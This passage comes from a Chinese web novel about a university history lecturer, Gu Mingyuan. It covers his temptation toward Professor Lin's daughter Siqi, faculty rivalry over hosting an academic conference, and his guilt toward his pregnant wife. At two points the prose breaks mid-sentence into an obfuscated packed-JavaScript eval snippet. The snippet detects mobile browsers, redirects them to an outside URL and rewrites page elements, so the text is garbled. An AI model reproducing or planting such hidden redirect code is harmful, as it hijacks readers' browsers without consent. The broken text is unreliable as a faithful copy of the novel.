王菡语气稍微缓和了些,但依旧直戳心窝:“明远,你也是的。看你平时比我家这个混不吝清白的理智多了,怎么现在也跟着犯起糊涂了呢?”她放下筷子,说起话来显得苦口婆心:“咱们撇开那位林小姐是不是单身、对你有没有意思另说。退一万步讲,就算人家真有什么表示,难不成你还真要和吴雅娟离婚不成?那你再楚江大学还呆得下去吗?说得好听点,你这是多情,脑子一热;说得难听点,你这叫无情无义。男人得负责任的呀。” 王菡说的每一个字都像针一样扎在顾明远心上。他知道这是实话和良言,但内心那份刚刚萌生、却来势汹汹的挣扎与向往,并不会因为这些实话和良言而瞬间平息。那种在茫茫人海中终于遇到了寻觅已久的灵魂回响,不是几句道德的训诫和鞭策就能立刻抚平。 看见好哥们被老婆训得蔫头耷脑,马骉在一旁坐立难安,他想缓和一下气氛,便讪笑着从茶几底下摸出一副象棋,说是杀几盘散心,却别王菡一句“滚远些”吓得将棋盘放了回去。王菡拿起手边的毛线针戳了他一下:“我在和明远说正经话,你别打岔。小心我收拾你!” 马骉龇牙咧嘴地缩回手,望向顾明远无奈地耸耸肩,悻悻地起身打开冰箱在里面翻找饮料。 王菡将目光重新投向顾明远,带着一丝不易察觉的叹息说道:“骉子总在我面前夸你,说你有才学,人品正,将来一定前途无量。这种一时冲动、一厢情愿的事,我劝你趁早死了心,想都不要想,何必为这种事儿搞得身败名裂呢?” 王菡的话和着墙上挂钟“滴答、滴答”的单调声响一下下敲击着顾明远的心,只觉得屁股底下的坐垫热辣滚烫,让他如坐针毡。是啊,自己确实有点昏头,被一张照片扰乱了心神,生出了妄念。理性告诉他,必须悬崖勒马。 从马骉家里出来时,夜幕已重重垂下,夜风卷起枯黄的梧桐叶,扑打在顾明远脸上,微微的刺痛感让他打了个激灵,脑子似乎清醒了些。马路斜对面,卖烤红薯的铁皮桶炉火正旺,火星子“噼啪”爆了两下,跃起又熄灭,像是在无声地嘲笑他的鬼迷心窍。漫无目的地走了一段,经过一家便利店时,目光无意间扫过冰柜——里面整齐地摆着吴雅娟最近孕吐稍缓后最爱喝的那个牌子的酸奶。一瞬间,一种强烈的愧疚感如同潮水般涌上心头,淹没了所有纷乱的思绪。对婚姻的承诺、对妻子的责任,尤其是想到吴雅娟此刻正孕育着他们的孩子,这种责任感像一条无形却坚韧的绳索,将顾明远拉回现实中来。 他几乎是下意识地摸出钱包,快步走进店里,买了几瓶酸奶,快步向家的方向走去。他知道,今夜的梦境或许注定还会被那个相框中的模糊笑靥短暂占据,但当明天的太阳升起时,他必须将所有这些不合时宜的情感彻底锁入心底最深的角落,继续努力做一个合格的丈夫、一个可靠的父亲、一个恪尽职守的教师。 顾明远每天将工作安排得满满当当,为的是忘记尘封在心中的杂念。这天下午,顾明远正在准备校长周濂在专家组进行考察时的主旨讲话,钟德君悄无声息地摸了进来。 被孟超批评了几次后,钟德君现在对自己的仪表着装格外重视起来。 在孟超的调教下,现在的钟德君对仪表开始重视起来。当钟德君头发上打着发胶、下巴刮得溜光、穿着簇新的行政夹克出现在顾明远面前时,顾明远放下手中的笔故意朗声说道:“德君你知道‘沐猴而冠’这个成语吧?” 钟德君不屑一顾:“你们这些迂腐先生尽管讽刺吧?我才不在意呢。”彷佛是为了给自己打气,他伸手掸了掸顾明远身上的polo衫揶揄道:“你看看欧美名校的教授,哪个不是西装革履?你们搞历史的,已经与国际脱轨啦。” 他的话激起了顾明远的斗志:“是吗?不知哈佛剑桥的学术评级,要先量教授发胶厚度还是西装针脚?你和孟校助关系好,可以建议以后职称评审增设一项形象分哦。” 钟德君知道斗嘴自己不是顾明远的对手,假装举手投降,叹了口气后满脸羡慕地说道:“老顾,你现在运气好得简直让人羡慕嫉妒恨啊。业务上已经是院里的骨干,这结婚才一年的时间马上又要升级做爸爸了。唉,不像我呀。”。 顾明远知道钟德君的这番感叹的重点是在“升级做爸爸”。他没少从吴雅娟那里得知钟德君夫妇的消息。结婚小三年来,中药吃了,菩萨拜了,可吴雅洁的肚子依然没有动静。钟德君本来就贪玩,这下更是不愿落家,“冷战”和“热战”几乎就一种没有停过。毕竟是连襟加哥们,顾明远放下手中的稿子,忍不住劝了起来:“要孩子这事急不得。你不能老是给雅洁压力,对她好点。你这现在整天不着家的算什么呀?换做谁都不会满意的。” 话未说完,钟德君立刻摆出一副苦大仇深的表情,仿佛受了天大的委屈,骂骂咧咧地抱怨起来:“着家?着什么家!都快三年了,一点动静都没有,你不知道每次回家我爸妈的眼神……唉,他们都在亲戚面前都抬不起头了。” “你也可以去医院做个检查的呀。现在什么时代了,这并不丢人的。” 钟德君眼睛瞪得溜圆:“我操,老顾你是不昏头啦?怀孕是女人的事情,我检查什么呀?” 顾明远意识到这刺激到了钟德君的自尊心,便换了个口吻半开玩笑地调侃道:“你小子不会是以怀孕为幌子不着家,好在外面和那个姓刘的藕断丝连吧?” 被戳中软肋的钟德君嘴上并不服输:“老顾,你这人就没劲了。人生苦短,及时行乐。我可不想像你似的,整天不是埋在书堆里,就是围着老婆转悠,日子多单调枯燥呀?” 顾明远忍不住提高了声调:“你娘的还有理了?家里红旗不倒外面彩旗飘飘?你就不怕真把吴雅洁惹急了,跟你闹离婚?” “嘁!”钟德君不屑一顾地哼了一声,“离婚?我还巴不得呢。老婆如衣服。说不定换个媳妇,我们老钟家马上就能续上香火了。” 看见钟德君越说越不像话,顾明远“霍”地站起身,指着门口下了逐客令。 钟德君可不愿意轻易离开,他今天是带着任务来的。最近,历史学院牵头申办中国古代史年会在全校引发关注。孟超对此十分敏感,担心历史学院盖过了自己联系的财经学院的风头。在暗示新院长卓娅采取行动压压秦冰纶她们的风光,卓娅表现的无动于衷,孟超只好亲自采取行动。经过一番暗中运作,“申办年会是周濂和秦冰纶捞取政绩的‘面子工程’”的议论开始在校园里悄然传播。仅此尚觉不够,他又让钟德君取打探更多的内幕消息,方便自己下一步采取行动。 钟德君像块牛皮糖,屁股牢牢钉在椅子上,嬉皮笑脸地就是不走。眼珠一转,用试探的口吻问道:“对了,老顾,你们历史学院最近那个大动作现在进展怎样了?那么高的规格,经费落实了吧?北京那边搞定了没?省里有态度吗?……” 一连串的问题加上钟德君眼里放出的狡黠的光,让顾明远想起了秦冰纶在申办会上疾言厉色的招呼——防着点财经学院的那帮人。想到这里,顾明远本能地讲正在起草的校长讲话收了收,故意打起了太极:“咳,这样的大事都是院里领导在亲自抓,我们就是个干活的小喽啰,那里清楚那么多细节。”说罢,故意伸了个懒腰,聊起了乔丹刚刚宣布的第二次退役,表情一下子落寞起来。 钟德君似乎对此全无兴趣,敷衍了两句后,语带揶揄地激将起来:“哟嗬,跟哥们还玩起花招、打起埋伏了哩?搞得神神秘秘的,好像谁真稀罕打听你们那点事儿似的。要我说啊,办这种大会,不就是烧钱赚吆喝,往自己脸上贴金的勾当么?性价比太低。” 这番充满轻蔑和偏见的话一下子点燃了顾明远敏感的自尊之火,他的语气变得严肃起来:“你这真是狗嘴吐不出象牙。明明是一场纯粹的学术盛会,到了你们这些人眼里,怎么就成了‘勾当’?‘勾当’这个词,我看用在某些钻营名利的事情上才最合适吧?”他越说越气,忍不住嘲讽道:“我看你呀,在那个大染缸里泡久了,骨头都快被染变色了。” 被顾明远一顿抢白,钟德君面子上有些挂不住,只好苍白地嘟囔道:“老顾你这张嘴不去干推销保险真是可惜了。” 说到兴头的顾明远乘胜追击,主动将“战火”引向财经学院最近的热点:“你说到贴金,倒让我想起了你们正在大张旗鼓搞的那个MBA经理班,学费收得那么高,这才真的配得上‘贴金’两个字吧?还美其名曰打出‘商业文明的哲学跃迁’的口号,你们不觉得汗颜吗?” 没想到,这话反而点燃了钟德君心中的怒火:“得了,你别跟我提这个。MBA班本来是老子想出的点子,孟校助也大力大力支持,没想到项目落地后,卓娅却将它交给了肖胖子,你说气人不气人?本来我还指着靠这个项目搞出点动静呢。唉!”钟德君他重重叹了口气:“现在学院……,女人当道,阴气太重啊。已经没法弄了。” “你不是有孟撑腰的嘛。” “你不懂。这县官不如现管。就卓娅那个德性,根本就不把孟校助放在眼里的。” 顾明远听罢,不由得失笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904226|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“看来你们学院都是一帮演宫斗剧的人才啊。德君,你不如就地取材,去写个宫斗剧的剧本,说不定哪一天大火,那动静不就有了?” “去你的吧”,钟德君对着顾明远翻了个白眼。他似乎忘记了孟超交给自己的人物,忽然起身将椅子往顾明远身边拉近了些,压低声音说道:“哥们,跟你说个事,你可千万别外传。” 顾明远知道钟德君嘴松的毛病,故作一副无所谓的样子。钟德君真的急了,悄声说道:“财经学院我是不想呆了。最近孟校助正在运作,想把我调到学校基建处去当处长助理。说不定就是这些天的事情。” “什么?”顾明远惊得险些从椅子上跳起来:“你是在开玩笑的吧?德君,你可是正儿八经的财经专业研究生毕业,跑去基建处那种……那种地方?”他硬生生把“蛮荒之地”四个字咽了回去,但脸上的惊愕和不解丝毫未减。 钟德君得意地笑了起来:“看看,嘴快露馅了吧?我就知道,你们这些知识分子啊,骨子里就看不起基建、总务这些‘蛮荒之地’。哼,岗位不分高低,懂不懂?”他故意模仿着领导训话的口吻,将声调拖长了些。 顾明远意识自己的想法确实带有偏见,连忙往回找补:“我……我可不是那个意思。我是说,现在学校师资紧张,像你这样有研究生学历的更是稀缺资源。你现在教学科研也算上了轨道,怎么就甘心‘弃教从政’?专业丢了不可惜了吗?”他试图用“弃教从政”这个略带调侃但相对中性的词。 “‘弃教从政’,这个词用得好!”钟德君非但不以为意,反而像是受了激励,推心置腹地说道,“不瞒你说,老顾,我从一开始就没打算在教师这条道上走下去……。” “为什么?”顾明远 大为不解。 “为什么?”钟德君嗤笑一声,仿佛听到了一个极其幼稚的问题:“都说教师是蜡烛,燃烧自己照亮别人。可现在这年头,这蜡烛两头烧——一头是科研绩效的鬼火,压得你喘不过气;另一头是教学评估的妖风,吹得你东倒西歪。‘灵魂工程师’,面上好听,可里子呢?”他伸出手指,指了指文件柜旁边一盆叶片耷拉的绿萝:“看看,老师的待遇就跟这盆没人管的绿萝差不多——工资单薄得像它的枯叶子,晋升通道拥堵得像它那盘死的根。什么‘灵魂工程师’?现在学生的‘灵魂’都明码标价追求实惠去了,咱们倒好,还在用‘灵魂币’结算,穷得真的要做孔乙己了。” 这番虽然偏激却也不无现实的论调,确实带给顾明远一些震动。他自己何尝不对日益繁多且苛刻的量化考核感到疲惫和困惑?即便如此,嘴上还是坚持着知识分子的那份清高,弱弱地反驳了一句“你这太功利了。” 钟德君早就有了回敬的说辞:“功利?我只问你一个最实在的问题:在楚江大学,咱们普通教师有半点真正的话语权没有?你老婆就在人事处,她没跟你透露过点内幕?各项政策制定、资源分配,什么时候真正问过咱们的意见?不都是行政那边定了调子,咱们只管执行和挨锤吗?” 顾明远沉默了。想起去年教学考评时遭遇的不公,想起科研申请的种种门槛,以及学院内部各种看似民主实则早已内定的决策过程。钟德君的话,像一把钥匙,打开了他心中积压已久却不愿正视的困惑。 钟德君见他不语,说起话来更加起劲:“我这几年算是看透了。说白了,咱们当老师的就是砧板上的鱼肉,命运全攥在行政那些‘刀俎’手里。老师做得再好,也不过是个体面的打工仔,老板(领导)随便找个理由,一个差评就能让你吃不了兜着走。老顾,在这个学校,没有话语权,啥都不是。” 这番话,几乎就是顾明远内心某些模糊感受的直接表述,让他无法反驳。是啊,这些年来,一成不变的教学考评指标、科研评价的唯数量论、强行摊派给每位教师的成教招生指标……,哪一点征求过教师们的意见?纯粹的学术、纯粹的理想,在权力和“铜臭”面前,显得既苍白又可笑。 钟德君仿佛已经看到了转行后的美好图景,眼中流露出憧憬:“跟现在这种枯燥憋屈的教师生活比,处长助理一定是别有一番天地。如果真的呢个去,一定要好好将自己的价值最大化地体现出来。” 虽然内心有所触动,顾明远依然觉得钟德君的想法过于理想化,忍不住继续劝道:“你也别把行政岗位想象得太美好。那里面的水深礁险,就人际关系的复杂就够你喝一壶的。而且,丢了专业终究可惜,毕竟学了这么多年。” “可惜?有什么可惜的!”钟德君不以为然,“老顾,你太天真了。专业?对咱们这些文经学科的来说,专业很多时候就是个敲门砖,是张入场券。真正进入职场,你会发现真正有用的根本不是你那点专业知识,而是人情世故、是资源整合、是紧跟领导。说白了,专业就是万金油,抹哪儿都是可以的。你再看看社会上那些真正混得风生水起的成功人士,有几个是干着和大学专业对口的工作?” 顾明远第一次在钟德君面前感到一种理屈词穷的无力感。他无法完全认同对方的价值观,却又无法彻底否定对方指出的某些现实。他不想再继续这场毫无结果、只会让自己更加迷茫的争论。他瞥了一眼墙上的钟,想起即将面见林城外呈送申办报告还有很多资料要进行查证,干脆起身给钟德君下了“逐客令”。 门轻轻合上,教研室重归安静。顾明远却久久无法平静。马骉夫妇的谆谆告诫言犹在耳,钟德君的“弃教从政”论又带来新的冲击。学术的圣殿与现实的泥沼,内心的悸动与肩头的责任,理想的火光与环境的幽暗……种种思绪在他脑海中交织碰撞,让他的眼睛怎么也聚焦不到申办报告的文字上,他深吸一口气,仰面靠在椅背上,望着天花板上的吊扇出神。 26. 罗家山雨 随着年会申办专家组进校日期的确定,申办领导小组开始对每一项任务倒排工期,挂名督办。分配在顾明远名下的任务有一项至今尚未落实——周濂代表学校所做的申办报告。申办报告的初稿是有顾明远负责起草,按照校长周濂的意思,最后还必须请林城外把把关。恰好最近林城外一直在国外访问,,申办报告无法到达他的手里。 昨天,秦冰纶告诉顾明远“林教授回国了”的消息,意思是要他尽快将申办报告送过去请教。这时顾明远求之不得的事情,送报告是名正言顺的理由,去和“民国女学生”——林城外的女儿见上一面则是不足与外人道的内心秘密。 前往罗家山的路上,顾明远的心情莫名地变得复杂起来。越是靠近目的地,他的心跳便越是剧烈。尽管心中不断告诫自己:已婚之人,把持自己,将任何不切实际的幻想都扼杀在萌芽状态。但“非分”之想却顽固得如同春草一般“野火烧不尽春风吹又生”起来。 林家纱门打开的那一刻,顾明远只觉得一阵炫目。站在门后的女子,正是那个在他记忆中徘徊多年的身影。她上身穿着一件宽松的淡蓝色蝙蝠衫,下身着了一条洗得有些发白的牛仔裤,浑身收下透着一股青春随性的气息。顾明远的耳根“腾”地烧了起来,连带着脖颈红成一片,活像只被蒸熟的螃蟹。他极力想挤出些轻松的笑容,嘴角却不受控地抽搐了两下,勉强吐出“你好”两个简单的词汇。 女子似乎并不在意他的窘迫,笑声像春天的云雀一样清脆悦耳:“您好,您是楚江大学的顾老师吧?我爸在等您呢。”她的目光在顾明远脸上停留了片刻,眼中闪过一丝不易察觉的讶异,似乎也觉得他有些面熟。 屋里传来林城外有些沙哑的声音:“思齐,是谁呀?” 顾明远敏锐地意识到,“思齐”应该就是女子的名字,这让他想起了“见贤思齐”的成语,也许林教授就是根据它给女儿起了这个名字吧。 “林教授,你的客人到罗”,林思齐轻快地对客厅里喊了一声,便招呼顾明远进门来。对父亲用这样的称谓让顾明远觉得有些新奇,亦步亦趋跟在林思齐后面,他看见她的头发挽成一个简单的发髻,几缕碎发垂在颈侧,随着她的步履微微晃动。 这个背影让顾明远眼睛变得明亮起来。 客厅里的光线依然有些黯淡,林城外正坐在堆满线装书的书桌前忙着什么,一盏老式台灯在书桌角落投下橘黄的光晕,像一团将熄未熄的炭火,照亮着他面前发黄的书页。整个书房弥漫着旧书和墨水的独特气息,却让人肃然起了敬意。 走到书桌前,林思齐语带戏谑地说道:“教授先生,这位是你昨天还在念叨的青年才俊,交给你喽。”说罢,指了指书桌旁的藤椅,示意顾明远坐下。 林城外抬起头来,推下眼镜,望着女儿上楼的背影对顾明远悄声笑道:“这是我女儿,是不是有点没大没小的呀?” 顾明远内心觉得亲切,却不敢贸然评价,只望着林城外讪笑。林城外将一枚书签夹进线装书,招呼顾明远坐下,又望了一眼楼梯口的女儿叫道:“林医生,杜姨买菜去了,能不能代劳一下给顾老师泡杯茶呀。” 从“林教授”到“林医生”,顾明远看出了这对父女关系的轻松和融洽。 林思齐扶着楼梯回眸笑着说了声“遵命”,转身走进了厨房。不一会工夫,一杯香浓的咖啡递到了顾明远的手中。 林城外笑着批评:“你这不是己之所欲强加于人吗?万一顾老师不喜欢咖啡呢?” 林思齐歪着头冲着父亲眨了眨眼:“老先生您这才是以己之心度人之腹吧”,说罢,嘴角翘起一抹狡黠望着顾明远问道:“顾老师对咖啡没问题吧?我觉得比起茶,咖啡更能提神,适合你们后面的学术讨论。” 顾明远赶紧一个劲地点头。虽然他更爱喝茶,但此刻彷佛觉得咖啡才是最好的饮品。接过咖啡那一瞬间,顾明远的指尖不经意间触到了她的手,一阵微妙的电流瞬间传遍全身。 林思齐骄傲地对着父亲林城外“哼”了一声,顺手从书桌上拿起一本《宋词集注》准备上楼,却被林城外喊了回来:“你表姐他们学校给我安排了两项任务”,话未说完,顾明远从包里抽出申办报告恭敬地递上。 林城外将报告放在一边,从身后书架上取出一本打印稿。顾明远知道这是第一次见面时送过来的论文集。看见里面用红笔密密麻麻做的批注,顾明远心里涌起感动:学者果然治学严谨啊。 林城外对女儿招了招手:“他们未这次申办专门编了一本集子。里面有一篇顾老师研究苏东坡的文章,视角有点意思,你反正今天在家休息,要不要一起听听我们的讨论?” 林思齐眼角上挑再次抓住机会反击:“看看,果然是己之所欲强加于人的林教授啊”,话虽如此,却乖巧地搬了一只凳子挨着父亲坐下。 父女间的轻松而俏皮的对话让顾明远进门时的紧张减缓了许多。不过,他的心里有些好奇:林思齐一个学医的,林教授这不是有点为难女儿了吗? 林城外似乎察觉了顾明远的困惑,从镜片上方斜睨了他一眼,笑道:“你不介意吧?她可是对唐宋文化情有独钟,至今还在埋怨我当年硬逼她学医呢。” 顾明远对林思齐的好奇又加深了一层。目光总忍不住要偷偷瞟上她几眼。在两人对话时,林思齐神情专注,丹凤眼中的瞳仁仿佛有墨色星子碰撞——时而凝作沉思的涡旋,时而漾起洞见的光波。 趁着林思齐低头翻看书稿的空隙,顾明远大着胆子飞快地扫掠了她一眼。她的脸是极干净的鹅蛋形,不施粉黛却透出天然的嫣红,有点像是初春枝头最娇嫩的那朵海棠。丹凤眼眼尾微微上挑,眸光清亮得能照见人影。蝙蝠衫的袖口随着动作滑落,露出一截纤细玉白的手腕…… 正有些出神,林思齐忽然抬起头来,正好对上顾明远未来得及移开的目光。顾明远顿时慌了神,急忙低头假装整理手中的笔记本,耳根再次不争气地红了起来。 林思齐嘴角微微上扬,却没有说什么,只是笑着抬手将一缕碎发别到耳后。 林城外正从一本线装书里寻找一个印证顾明远文章中观点有误的证据,看见顾明远有些紧张地看着父亲,林思齐细长的丹凤眼波光粼粼眨动了几下,半是认真地说道:“顾老师可得小心这个学术界的老顽固哦。” 林城外似乎找到了自己需要的证据,眼睛笑成了两道弯,得意地站起身来讲线装书摆在顾明远面前:“顾老师,你看,你文章提到的苏东坡和弟弟苏子由关于‘泉府之制’的争论确实有误嘛。” “泉府之制不是《周礼》记载的财政奇策么?”林思齐几乎脱口而出。 顾明远大惊。林城外这样说尚是意料之事,一个学医的林思齐竟然说出“泉府之制”的出处,这让他觉得肩上匪夷所思。原本对自己充满自信的顾明远在林家父女面前开始有了怯意,略显牵强的解释让林城外不时皱起了眉头。 顾明远感觉前胸后背上爬满了小虫子,那是汗液涌出作祟的缘故。 林思齐察觉到了顾明远的尴尬,轻轻拍着父亲的膝盖以作提醒:“你要不要起来活动活动呀,也好让青年才俊喘口气呀。” 虽是调侃,顾明远意识到她是替自己解围,心中涌起一股暖流,感激地看了她一眼。 女儿的提醒起了作用,林城外合上线装书自嘲起来:“顾老师别介意嘛。学术争鸣而已,无关‘学阀’作风哈。” 顾明远被林城外的幽默逗得笑了起来:“怎么会呢?林教授您是真正的大师,我要是早几年能遇到您就好了。” 林思齐撇了撇嘴:“那也未必。你们学校那位莫大师不是很早就拜在我老爹门下吗?呵呵。” 林城外瞪了女儿一眼:“又开始了。可别象一些庸医那样做手术时该切不该切的,全都给切了。” 受了警告的林思齐吐了吐舌头,连忙起身给父亲的茶杯加水。 这时,门外有人说话,杜姨打开纱门,一老一少两个男子走了进来。 林城外正要起身,年长男子快步上前将他按回到藤椅上:“林老,您就别客气了,我今天来听您回话的。” 林城外看了女儿一眼:“小齐,我和丰校长谈点事。要不你先陪顾老师出去转转?” 这正是顾明远求之不得的事情。 走出屋门,顾明远对刚才林思齐提到的莫笑非的事情有些好奇。林思齐往旁边跨了几步笑着说道:“你们那位秦院长没告诉你呀?莫笑非的博士导师就是我老爸呀。” “那林教授应该很满意的呀。你看现在莫教授也算得上大名鼎鼎的了,怎么也算得意门生了嘛。” 林思齐只说了句“沽名钓誉”,便自嘲说了句“又在多嘴”,用手指了指旁边修竹掩映的一条石子小路说道:“要不我们往那边走吧。” 淅淅沥沥的雨已经停了下来。林间浮出一层湿漉漉的雾气。泥土松软,落叶蜷曲,偶有鸟鸣从枝头跌落,清脆地溅在空寂里的鹅卵石上,发出悦耳的声响。两人沿着小路慢慢走着,保持着恰到好处的距离。 顾明远一直想提及当年火车站的事,又怕有些唐突,只好将话题转到刚才的来人上。 林思齐叹了一口气:“唉,别提了。学校正在学术委员会换届选举,这位校长是来当说客的,想让我爸留任。拒了几次都不成,真拿他们没办法。”她的语气中带着几分无奈,但也透露出对父亲的骄傲。 顾明远蓦然想起前几年莫笑非为了学术委员会主任险些与梅大镛大打出手的情景,对林城外的崇敬不免又多了几分。 在一棵散着幽香的桂花树下,林思齐突然停下了脚步,用一种奇怪的眼神打量着顾明远。 顾明远以为自己哪里不对,下意识地摸了摸自己的领带和衣襟。 “顾老师,我们以前是不是在哪里见过?总感觉你有些眼熟。” 林思齐微微偏着头,目光中带着探究的意味。 顾明远的心跳骤然加速。他深吸一口气,趁机说出了当年火车站里的惊鸿一见。当然,回到武汉骑自行车满街乱窜的糗事是绝对不能提的。 当顾明远说出当时手上拿的好像上《宋词选》时,林思齐惊讶地睁大了眼睛,丹凤眼里迸出星子般的光亮:“呀,你不会也是清北毕业的呀?我说呢,你喜欢打篮球是吧?”她的语气变得活泼起来,仿佛发现了什么大秘密。 顾明远点了点头。 “那就对了。我记得我们医学院经常去你们研究生院那边的篮球场打比赛。我是学院体育部的,一定在现场看过你打比赛,不然怎么这么眼熟呢。”林思齐笑着说道,眼睛弯成了月牙形,似乎为了证明自己所言非虚,林思齐忖了片刻后说道:“如果我没记错,你投篮应该很准的。” 两人的距离瞬间拉近了许多。顾明远的书生气一下子上了头,脱口而出道:“火车站里寻常见,罗家山上几度闻。正是江南好风景,春雨时节又逢君。” 林思齐热烈的眸光忽然一下子暗沉了下去,淡淡地说道:“你这从杜甫《江南逢李龟年》化来的句子用在我身上可不合适。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904227|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她下意识地抬手理了理额前的刘海。顾明远惊讶地发现,她额头发梢遮挡的地方,隐约露出一道新鲜的疤痕。 顾明远立刻意识到自己失言,连忙道歉:“对不起,有点班门弄斧了。” 林思齐摇摇头,勉强笑了笑:“没关系,我们回去吧,父亲应该谈完事了。” 顾明远不知道哪里出了岔子,只觉得气氛明显沉闷了许多。林思齐的步子似乎加快了些,仿佛急着结束这段独处。 回到林家,丰校长已经离开。林城外看到他们回来,笑着招招手:“正好,事情谈完了。顾老师,一会你把我修改的集子带回去向你们的院长交差,至于申办报告,我还得仔细看看才敢提意见的。改好后,如果你有时间欢迎过来,不行的话,正好现在小齐已经开始使用E-mail了,到时让她传给你。” 林思齐似乎又恢复了之前的轻快,笑着拍了拍父亲的肩膀:“又抓壮丁了”,回过头来望着顾明远问道:“顾老师又电子邮箱吧?” 电子邮箱还是新生事物,顾明远虽然听说过E-mail,却并未申请,只好羞红了脸老实承认。林思齐莞尔一笑:“那只好到时辛苦你罗。” 这又是顾明远求之不得的事情。临别时,林思齐极其自然地伸出手来,眉眼间漾着温润的笑意,仿佛他们不是初识,而是久别重逢的故人。她的声音里带着一种恰到好处的熟悉,丝毫不显突兀:“很高兴认识您,顾老师。下次再见。”那语气从容自在,如同春风拂过旧庭,每一个字都落得亲切而稳妥,让顾明远在不知不觉中也含笑伸手回应,心中竟无半分生疏与隔阂:“我也是,谢谢您的咖啡。” 离开林家院子,顾明远忍不住回头看了一眼。林思齐还站在门口,当发现顾明远回头时,微微颔首示意,然后轻轻关上了门。 第二天,当顾明远得意地向秦冰纶汇报任务进展时,秦冰纶盯着他看了半天忽然问道:“在林教授家没别的收获了?” 顾明远脑海里浮起大大的问号,不知院长的的用意,只好应付道:“要说别的收获,那就是从林先生身上看到了真正的学问家的风范和底蕴。” 秦冰纶笑着用铅笔点了点桌面问道:“除了林教授,还见到什么人没?”其实她已经从表妹那里探知了一切。 顾明远有意拣出杜姨和来访的校领导,故意隐去了林思齐。 秦冰纶心里骂了句“看来你不迂嘛”,“扑哧”笑出声来故意 问道:“你觉得我表妹怎么样?” 这个突如其来的发问让顾明远不知所措:“表妹?哪个表妹?” “你是装的吧?你说还能是谁?” 顾明远知道院长已经了解了情况,窘迫的后颈处渗出了汗珠,故作镇定扶了扶镜框,轻描淡写地敷衍了两句:“林医生很优秀,待人接物都很得体。” 秦冰纶这样问其实是想让顾明远将自己和表妹比较一番,觉得这样做有失身份,她将目光转向一旁的龟背竹,轻叹一声:“她应该还好吧?” 顾明远不知道秦冰纶的话是什么用意,不敢轻易接话。 “唉。算了,不说了,这结婚才几个月呀,现在闹的……。” 顾明远脑海里忽然浮现出林思齐额头上的疤痕。笑意瞬间僵在嘴角处,像是被突然冻住的涟漪。虽然秦冰纶并未说得明白,但顾明远从她的眼神中还是能感觉到“林思齐的婚姻出问题了”。他的五脏六腑忽然有些隐隐作痛起来。 走出秦冰纶的办公室,顾明远骑上自行车,刚出校门,立刻如同一匹脱缰的野马,一路飞驰,很快来到马鞍山脚下。沿着那条荒草萋萋的小径,他疯狂地蹬着踏板,不见速度,任由荆棘如锋利的刀片划过手背和脸颊,留下道道血痕。在一个急转弯,"咣当"一声,自行车撞上了一个石头,顾明远连人带车摔了个底朝天。幸好旁边有灌木丛挡了挡,他抓住一根藤蔓,摇摇晃晃地爬了上来。 顾明远疲惫地靠在冰冷的石壁上,仰头望向天空中那些无序飘荡的云朵,心中仿佛被掏空了一般,空落落的。停好自行车,他独自登上石阶,脚步沉重得像拖着无形的镣铐。山风掠过耳畔,却吹不散脑海里不断浮沉的“宿命”二字。到了半山腰的观景台边,看着对面椅子上的一位老人摸出根烟,打火机咔哒了几次才点燃。顾明远忽然觉得烟头上明灭的红光像极了自己某种未曾燎原就不得不掐灭的念想。 暮霭漫了上来,凉丝丝地渗进衣服。顾明远忽然低笑出声,站起身来用手拍拍屁股,一不小心被一根荆棘扎了一下,疼痛让顾明远若有所悟:是啊,有些界限,连醉意都不能跨过;有些风景,注定只能隔山相望。 傍晚时分,顾明远回到家里。看着他胳膊上的划痕,吴雅娟吓了一跳。问了半天,顾明远支支吾吾的,气得挺着肚子的吴雅娟气将碘酒瓶和棉签往茶几上一扔,走进里屋躺在了床上。看着吴雅娟臃肿的身影,顾明远心头猛地一颤,赶紧起身冲好牛奶劝说吴雅娟喝下。 入夜,顾明远躺在床上怎么也睡不着。闭上眼睛,脑海中就会浮现出林思齐额前那道若隐若现的疤痕。无数疑问在他心中盘旋:那道疤痕和她的婚姻有什么关联?他心里清楚,这个问题的答案他没有资格也不应该去探寻。有些人,也许只能停留在惊鸿一瞥的初遇;有些情感,或许只能像苏轼词中所说的“不思量,自难忘”那样成为漫想。 生活还要继续。顾明远站起身,走到窗前,望着夜空中稀疏的星子,深吸了一口清凉的空气,告诉自己:明天,还是要继续扮演好丈夫和成为父亲的角色。 27. 权学角力 在焦虑与期待交织的漫长等待后,再过几天,年会申办专家组就要进校考察。 对周濂校长而言,这决不是一场普通的考察。自己根基未稳,书记许继武并不乐见,副校长江川有意掣肘……,所有这些,更让心高气傲、生性要强的他将申办工作看成了是自己新任校长后的一次大考,是一场只能成功不许失败的战役。这些天来,虽然历史学院各种事务性工作已经万事俱备,但周濂并不放心,凡事都要亲力亲为,从申办报告的定稿到校园环境的整治,从接待流程的规划到专家食宿的安排,每一个环节都亲自过问、亲自把关。他的办公室灯光常常亮至深夜,那是他不停地与分散在全国各地的评委专家进行感情联络,以增加成功的砝码。校长的投入大大加重了申办专班的紧张情绪。校长身先士卒,具体负责申办工作的秦冰纶不得不有所表现,将全体成员耗到办公室加班是常有的事情,惹得大家疲惫不堪却又敢怒不敢言,只盼着专家立刻进校来画个句号了事。 专家进校第一天,校园环境、考察线路和接待安排获得了专家的一致好评,尤其是周濂代表学校所作的申办报告,专家组组长给出了高度评价:“这是我近几届见过的最扎实、最有创意的申办报告。” 这让周濂和秦冰纶几乎要击掌相庆,在他们看来,成功似乎已经触手可及。 